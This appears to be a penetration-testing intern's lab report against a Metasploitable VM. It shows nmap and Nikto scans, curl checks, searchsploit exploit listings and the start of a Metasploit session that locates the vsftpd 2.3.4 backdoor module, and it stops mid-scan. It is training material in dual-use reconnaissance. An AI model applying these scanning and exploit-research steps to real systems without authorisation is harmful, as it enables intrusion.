



Week-02 Task

-Sai Surendra Babu
Vapt intern

1.Vulnerability Scanning Techniques

Finding the open ports using nmap tool

CMD: nmap 192.168.78.133

```
(kali㉿kali)-[~]
$ nmap 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-13 10:14 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0054s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AF:31:F6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds
```

Port	Service	Meaning
21	FTP	File transfer service
22	SSH	Remote login
23	Telnet	Old insecure remote login



Port	Service	Meaning
80	HTTP	Website running
445	SMB	Windows file sharing

2. Service Version Detection

To check the versions of services.

CMD : nmap -sV 192.168.78.133

```
(kali@kali) ~$ nmap -sV 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-13 10:34 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0031s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:lin

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
```

3. Application Scanning

Suppose port 80 has a website.

Now we check:

SQL Injection

XSS

Old Apache version

Misconfiguration

Tool:

Nikto

it is a Web Vulnerability Scanner It scans websites/web servers for



Old software versions

Dangerous files

Misconfigurations

Default pages

Weak settings

Command:

```
nikto -h http://192.168.78.133
```

Install Nikto

```
sudo apt update
```

```
sudo apt install nikto
```

Tool	Purpose
------	---------

Nmap	Find open ports/services
------	--------------------------

Nikto	Find web vulnerabilities
-------	--------------------------

```
(kali@kali)~$ nikto -h http://192.168.78.133
- Nikto v2.6.0

+ Target IP: 192.168.78.133
+ Target Hostname: 192.168.78.133
+ Target Port: 80
+ Platform: Unknown
+ Start Time: 2026-05-13 10:21:25 (GMT-4)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ ERROR: Failed to check for updates: 403
+ [999986] /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ [750500] /icons/: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs), CGI tests skipped.
+ [000050] Apache/2.2.8 appears to be outdated (current is at least 2.4.66).
+ [000025] PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 8.5.1).
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+ [999100] /index: Uncommon header(s) 'tcn' found, with contents: list.
+ [999965] /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: https://www.wisec.it/Secout.php?id=6998bdc59d15;https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ [999967] /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ [000434] /: HTTP TRACE method is active and replies which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ [750510] /phpinfo.php: Output from the phpinfo() function was found.
+ [750500] /doc/: Directory indexing found.
+ [001213] /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ [001384] /=/PHPBB5F2A0-3C92-11D3-A3A9-4C7B08C10000: PHP Easter Eggs reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https://labs.detectify.com/writups/do-you-dare-to-show-your-php-easter-egg/
+ [001385] /=/PHE9568F36-D428-11D2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https://labs.detectify.com/writups/do-you-dare-to-show-your-php-easter-egg/
+ [001386] /=/PHE9568F34-D428-11D2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https://labs.detectify.com/writups/do-you-dare-to-show-your-php-easter-egg/
+ [001387] /=/PHE9568F35-D428-11D2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https://labs.detectify.com/writups/do-you-dare-to-show-your-php-easter-egg/
+ [999984] /phpMyAdmin/ChangeLog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ [999984] /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ [001796] /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ [750500] /test/: Directory indexing found.
+ [001894] /test/: This might be interesting.
+ [002989] /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ [003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ [007107] /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://developer.mozilla.org/en-US/docs
```

4.Web Vulnerability Scan



```
(kali㉿kali)-[~]  
$ curl -I http://192.168.78.133  
HTTP/1.1 200 OK  
Date: Wed, 13 May 2026 13:50:11 GMT  
Server: Apache/2.2.8 (Ubuntu) DAV/2  
X-Powered-By: PHP/5.2.4-2ubuntu5.10  
Content-Type: text/html
```

1. Outdated Apache Version

You found:

Apache/2.2.8 appears to be outdated

Meaning:

- Old Apache server
- Likely vulnerable to known CVEs

Risk:

High

Open browser:

<http://192.168.78.133>

Then inspect headers:

`curl -I http://192.168.78.133`

Expected:

Server: Apache/2.2.8

Now you confirmed it manually.

2. Outdated PHP

You found:

PHP/5.2.4 outdated

Meaning:

- Very old PHP
- Many vulnerabilities exist

Risk:

Critical in real environments.

Visit:

<http://192.168.78.133/phpinfo.php>

- PHP version
- Installed modules
- System paths
- Server details

This is sensitive information leakage.

Imagine attacker learns:

- PHP version
- Operating system



- Loaded modules
- Paths

Now attacker can search:

“Exploit for PHP 5.2.4”

This helps attackers attack faster.

PHP Version 5.2.4-2ubuntu5.10

System	Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Build Date	Jan 6 2010 21:50:12
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/cgi
Loaded Configuration File	/etc/php5/cgi/php.ini
Scan this dir for additional .ini files	/etc/php5/cgi/conf.d
additional .ini files parsed	/etc/php5/cgi/conf.d/gd.ini, /etc/php5/cgi/conf.d/mysql.ini, /etc/php5/cgi/conf.d/mysqli.ini, /etc/php5/cgi/conf.d/pdo.ini, /etc/php5/cgi/conf.d/pdo_mysql.ini
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Safety	disabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHP Streams	zip, php, file, data, http, ftp, compress.bzip2, compress.zlib, https, ftps
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, sslv2, tls
Registered Stream Filters	string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, convert.iconv.*, bzip2.*, zlib.*

This server is protected with the Suhosin Patch 0.9.6.2
Copyright (c) 2006 [Hardened-PHP Project](#)
수호신

Finding

Meaning

Outdated Apache Known CVEs possible



Finding	Meaning
Directory indexing	Sensitive files visible
phpinfo.php	Information leakage
TRACE enabled	XST attack possible

5. Validate Findings

curl -I <http://192.168.78.133>

```
(kali㉿kali)-[~]  
$ curl -I http://192.168.78.133  
HTTP/1.1 200 OK  
Date: Wed, 13 May 2026 13:58:32 GMT  
Server: Apache/2.2.8 (Ubuntu) DAV/2  
X-Powered-By: PHP/5.2.4-2ubuntu5.10  
Content-Type: text/html
```

VERIFY DIRECTORY INDEXING

CMD: <http://192.168.78.133/icons/> -> Vulnerability confirmed.



phpinfo() x Index of /icons +

Not Secure http://192.168.78.133/icons/

OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Index of /icons

Name	Last modified	Size	Description
Parent Directory	-	-	-
README	28-Aug-2007 06:48	5.0K	
README.html	28-Aug-2007 06:48	35K	
a.gif	20-Nov-2004 15:16	246	
a.png	28-Aug-2007 06:54	317	
alert.black.gif	20-Nov-2004 15:16	242	
alert.black.png	28-Aug-2007 06:54	304	
alert.red.gif	20-Nov-2004 15:16	247	
alert.red.png	28-Aug-2007 06:54	315	
apache_pb.gif	20-Nov-2004 15:16	2.3K	
apache_pb.png	28-Aug-2007 06:54	2.0K	
apache_pb2.gif	20-Nov-2004 15:16	2.4K	
apache_pb2.png	28-Aug-2007 06:54	2.1K	
apache_pb2_ani.gif	20-Nov-2004 15:16	2.1K	
back.gif	20-Nov-2004 15:16	216	
back.png	28-Aug-2007 06:54	316	
ball.gray.gif	20-Nov-2004 15:16	233	
ball.gray.png	28-Aug-2007 06:54	317	
ball.red.gif	20-Nov-2004 15:16	205	
ball.red.png	28-Aug-2007 06:54	295	
binary.gif	20-Nov-2004 15:16	246	
binary.png	28-Aug-2007 06:54	316	
binhex.gif	20-Nov-2004 15:16	246	

SIMPLE CVSS TABLE

Score Severity

0-3 Low

4-6 Medium

7-8 High

9-10 Critical

Search Public Vulnerabilities: Public exploits exist.

```
(kali@kali)~$ searchsploit apache 2.2.8
```

Exploit Title	Path
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution	php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner	php/remote/29316.py
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow	linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak	linux/webapps/42745.py
Apache CXP < 2.5.10/2.0.7/2.74 - Denial of Service	multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow	unix/remote/21571.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - 'ZIP' File Directory Traversal	linux/webapps/39642.txt
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities	multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution	multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)	multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNI Injection	multiple/webapps/44583.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing	multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal	unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)	multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)	windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)	jsn/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)	linux/dos/36906.txt
Webroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution	linux/remote/34.pl

Shellcodes: No Results



Learn False Positives :

```
(kali㉿kali)-[~]
└─$ curl -X TRACE http://192.168.78.133 -v
* Trying 192.168.78.133:80 ...
* Established connection to 192.168.78.133 (192.168.78.133 port 80) from 192.168.78.130 port 54182
* using HTTP/1.x
> TRACE / HTTP/1.1
> Host: 192.168.78.133
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Wed, 13 May 2026 14:05:18 GMT
< Server: Apache/2.2.8 (Ubuntu) DAV/2
< Transfer-Encoding: chunked
< Content-Type: message/http
<
TRACE / HTTP/1.1
Host: 192.168.78.133
User-Agent: curl/8.19.0
Accept: */*

* Connection #0 to host 192.168.78.133:80 left intact
```

Report:

Vulnerability	Risk	Verified
Apache outdated	Critical	Yes
Directory indexing	Medium	Yes
phpinfo exposed	Medium	Yes
TRACE enabled	Medium	Yes

AUTHENTICATED vs UNAUTHENTICATED

Unauthenticated Scan

No login.

Example:

nmap 192.168.78.133

You only see public services.



Authenticated Scan

Scanner logs into system.

Example:

OpenVAS credentialed scan.

Now scanner sees:

- Missing patches
- Weak configs
- Installed software

More accurate.

WANNA CRY UNDERSTANDING

WannaCry attacked:

SMB port 445

Using vulnerability:

MS17-010

CVSS:

9.8 Critical

Open ports + old software = dangerous.

Skill	Tool
Port scanning	Nmap
Web scanning	Nikto
Validation	curl, browser
Exploit research	searchsploit
Risk analysis	CVSS

2. Penetration Testing Techniques

PHASE 1 — Reconnaissance -> Collect information about target.

CMD : nmap 192.168.78.133



```
Session Actions Edit View Help
(kali㉿kali)-[~]
$ nmap 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 01:50 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0033s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AF:31:F6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

(kali㉿kali)-[~]
$
```

Port	Meaning
21	FTP service
22	SSH remote login
23	Telnet insecure login
80	Website
445	SMB file sharing

PHASE 2 — Scanning & Enumeration -> Find versions and vulnerabilities.

CMD : nmap -sV 192.168.78.133



```
(kali@kali)~$ nmap -sV 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 01:53 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0030s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.40 seconds
```

- Exact software ,Exact versions, Possible vulnerabilities are present in the above scan

WEB VULNERABILITY SCAN

Tool: **Nikto**

Nikto is an open-source web vulnerability scanner.

It scans web servers and websites for:

- Security weaknesses
- Dangerous files
- Misconfigurations
- Outdated software

Main Purpose of Nikto

Nikto helps security professionals:

- Identify vulnerable web servers
- Detect insecure configurations
- Find outdated software
- Discover dangerous files/scripts

Command:



nikto -h http://192.168.78.133

```
(kali@kali)~$ nikto -h http://192.168.78.133
Nikto v2.6.0

+ Target IP: 192.168.78.133
+ Target Hostname: 192.168.78.133
+ Target Port: 80
+ Platform: Unknown
+ Start Time: 2020-05-14 02:02:06 (GMT-4)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ ERROR: Failed to check for updates: 403
+ [999986] /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ [750500] /icons/: Directory indexing found.
+ No CGI Directories found (use -C flag to force check all possible dirs). CGI tests skipped.
+ [600050] Apache/2.2.8 appears to be outdated (current is at least 2.4.66).
+ [600625] PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 8.5.1).
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
+ [999100] /index: Uncommon header(s) 'tcn' found, with contents: list.
+ [999965] /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: i
http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ [999967] /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ [000434] /: HTTP TRACE method is active and replies which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ [750510] /phpinfo.php: Output from the phpinfo() function was found.
+ [750500] /doc/: Directory indexing found.
+ [001213] /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ [001384] /?PHPBB85F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP Easter Eggs reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https:
v.com/writeups/do-you-dare-to-show-your-php-easter-egg/
+ [001385] /?PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https:/
.com/writeups/do-you-dare-to-show-your-php-easter-egg/
+ [001386] /?PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https:/
.com/writeups/do-you-dare-to-show-your-php-easter-egg/
+ [001387] /?PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via HTTP requests that contain specific QUERY strings. See: https:/
.com/writeups/do-you-dare-to-show-your-php-easter-egg/
+ [001795] /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ [999984] /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008. See:
re.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ [001796] /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ [750500] /test/: Directory indexing found.
+ [001894] /test/: This might be interesting.
+ [001895] /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CVE-552
```

1. Detect Outdated Software

Nikto can detect:

Old Apache
Old Nginx
Old PHP versions

Example:

Apache/2.2 outdated

Old versions may contain known CVEs.

2. Find Dangerous Files

Nikto searches for files like:

admin/
backup.zip
config.php.bak
test.php

These files may expose:



Passwords
Source code
Admin panels

3. Check Missing Security Headers

Nikto checks headers like:

X-Frame-Options
Content-Security-Policy
X-XSS-Protection

Missing headers can increase web risks.

4. Detect Directory Listing

If enabled:

/uploads/

Attackers may browse uploaded files.

5. Identify Vulnerable CGI Scripts

Older web servers may expose:

CGI scripts
Test pages
Sample applications

These can be exploited.

Important Nikto Options

Command	Purpose
nikto -h	target Scan target
nikto -p 8080 -h	target Scan specific port
nikto -ssl -h target	Scan HTTPS
nikto -Tuning x	Scan specific tests
nikto -o report.txt	Save report

HTTPS Example

nikto -ssl -h <https://example.com>

Save Scan Report

nikto -h http://target -o report.txt.



PHASE 3 — Vulnerability Research -> Search public exploits

CMD : searchsploit apache 2.2.8

```
(kali@kali) ~  
$ searchsploit apache 2.2.8
```

Exploit Title	Path
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution	php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner	php/remote/29316.py
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow	linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak	linux/webapps/42745.py
Apache CXP < 2.5.10/2.6.7/2.7.4 - Denial of Service	multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.v.c' Remote Buffer Overflow	unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	unix/remote/47880.c
Apache OpenMeetings 1.9.x < 3.1.0 - 'ZIP' File Directory Traversal	linux/webapps/30642.txt
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities	multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution	multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)	multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection	multiple/webapps/44583.txt
Apache Tomcat < 5.5.37 - Remote Directory Listing	multiple/remote/2861.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal	unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)	multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)	windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)	jsp/webapps/42956.py
Apache Merces-C XML Parser < 3.1.2 - Denial of Service (PoC)	linux/dos/36906.txt
WebFroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution	linux/remote/34.pl

Shellcodes: No Results

PHASE 4 — Exploitation -> Gain access using vulnerability.

START METASPLOIT

msfconsole



```

(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Stop all background jobs quickly with jobs -K

      ^:oDFo:~
      ./ymM0dayMmy/.
      ~+dHJ5aGFyZGVyIQ==+-
      ^:sm@~Destroy.No.Data~s:~
      ~+h2~Maintain.No.Persistence~h+-
      ^:odNo2~Above.All.Else.Do.No.Harm~Ndo:~
      ./etc/shadow.0days-Data'%200R%201=1--.No.0MN8'/.
      ~++SecKCoin++e.AMd`      ^:~:////+hbove.913.ElsMNH+-
      ~./ssh/id_rsa.Des-      `htN01UserWroteMe!-
      :dopeAW.No<nano>o      :is:TRiKC.sudo-.A:
      :we're.all.alike`      The.PFYroy.No.D7:
      :PLACEDRINKHERE!~      yxp_cmdshell.Ab0:
      :msf>exploit -j.      :Ns.B0B6ALICEs7:
      :~srwxrwx:-.      `MS146.52.No.Per:
      :<script>.Ac816/      sENbove3101.404:
      :NT_AUTHORITY.Do      `T:/shSYSTEM-.N:
      :09.14.2011.raid      /STFU|wall.No.Pr:
      :hevnsntSurb025N.      dNVRGOING2GIVUUP:
      :#OUTH0USE- -s:      /corykennedyData:
      :$nmap -oS      SSo.6178306Ence:
      :AwsM.da:      /shMTL#beats3o.No.:
      :Ring0:      `dDestRoyREXKC3ta/M:
      :23d:      sSETEC.ASTRONOMYist:
      /-      /yo- .ence.N:(){ :! : & };;
      ^:Shall.We.Play.A.Game?tron/
      ``-ooy.if1ghtf0r+ehUser5`
      ..th3.H1V3.U2VjRFNN.jMh+.
      `MjM~WE.ARE.se~MMjMs
      +~KANSAS.CITY's~
      J~HAKCERS~./.`
      .esc:wq!:`
      +++ATH`
      ^

      =[ metasploit v6.4.126-dev ]
+ -- --=[ 2,638 exploits - 1,328 auxiliary - 2,163 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf >

```

SEARCH EXPLOIT

search vsftpd 2.3.4

OUTPUT

exploit/unix/ftp/vsftpd_234_backdoor



```
msf > nmap -sV 192.168.78.133
[*] exec: nmap -sV 192.168.78.133

Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 02:18 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0025s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
